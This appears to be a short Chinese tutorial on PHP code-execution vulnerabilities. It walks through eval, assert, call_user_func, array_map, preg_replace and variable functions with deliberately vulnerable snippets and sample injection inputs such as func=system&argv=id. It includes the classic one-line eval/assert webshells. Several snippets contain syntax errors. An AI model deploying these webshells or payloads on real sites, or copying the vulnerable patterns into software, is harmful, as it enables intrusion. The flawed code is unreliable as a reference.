代码执行漏洞
有的应用程序提供了一些可有将字符串作为代码执行的参数,如eval ,可以将函数中的参数作为代码执行,如果对这些参数过滤不严格,就会被利用,执行恶意代码。 1.eval 将字符串作为代码执行
<?php @eval($_POST['x']; ?>
常见于一句话木马 2.assert assert($assertion) 如果assertion是字符串,则就当作PHP执行
<?php @assert($_POST['x'];?>
一句话木马变形 3.call_user_func
<?php call_user_func($_POST['fun'],$_POST['arg']);?>
参数中,第一个参数作为回调函数,其余是回调函数的参数 fun 传入system ,arg 传入id ,则执行system('id')
4.call_user_func_array 参数中,第一个参数作为回调函数,参数数组是回调函数的参数
<?php call_user_func_array($_POST['func'],$_POST['array'];?>
fun 传入system ,arg 传入id ,则执行system('id')
5.create_function 根据传递的参数创建匿名函数,并未=为匿名函数返回唯一名称
<?php
$id=$_GET['id'];
$code='echo'.$func.'test'.$id.';';
create_function('$func',$code);
?>
接下来创建虚拟函数
<?php
$id=$_GET['id'];
function_func($func){
echo "test".$id;
}
?>
id传入1;}phpinfo();/* 造成代码执行
6.array_map 为数组中的每个元素应用回调函数。
<?php
$func=$_GET['func'];
$argv=$_GET['argv'];
$array[0]=$argv;
array_map($func,$array);
?>
传入func=system&argv=id 造成代码执行
7.preg_replace 执行一个正则表达式的搜索与替换,
<php
$subject='hello hack';
$pattern='/hack/';
$replacement=$_GET['name'];
echo preg_replace($pattern,$replacement,$subject);
?>
传入name=phpinfo() ,执行phpinfo()
PHP可变函数
如果一个变量名后有圆括号,PHP将寻找与变量的值同名的函数,并且尝试执行它; PHP中可以函数名通过字符串的方式传递一个变量,然后通过此变量动态的调用函数
<?php
function f00(){
echo "foo";
}
function bar($arg=' '){
echo "bar";
}
function echoit($string)
{
echo $string;
}
$func='foo';
$func();
$func='bar';
$func('test');
$func='echoit';
$func('test');
?>
如果函数的名称被用户控制,而且没有很好的过滤,就会造成恶意代码的执行 一段漏洞代码
<?php
function foo(){
echo "foo";
}
function bar($arg=' '){
echo "bar";
}
function echoit($tring){
echo $string;
}
$func=$_REQUEST['func'];
echo $func();
?>
输入http:xxcxxxxxxxx?func=phpinfo ,执行phpinfo 另一段漏洞代码
<?php
function foo(){
echo "foo";
}
function bar($arg=' '){
echo "bar";
}
function echoit($tring){
echo $string;
}
$func=$_REQUEST['func'];
$string=$_REQUEST['tring'];
echo $func($string);
?>
这段代码,函数可变,参数可变 输入http://xxxxxxxx?func=echoit&string=test 调用echoit 函数,返回test
|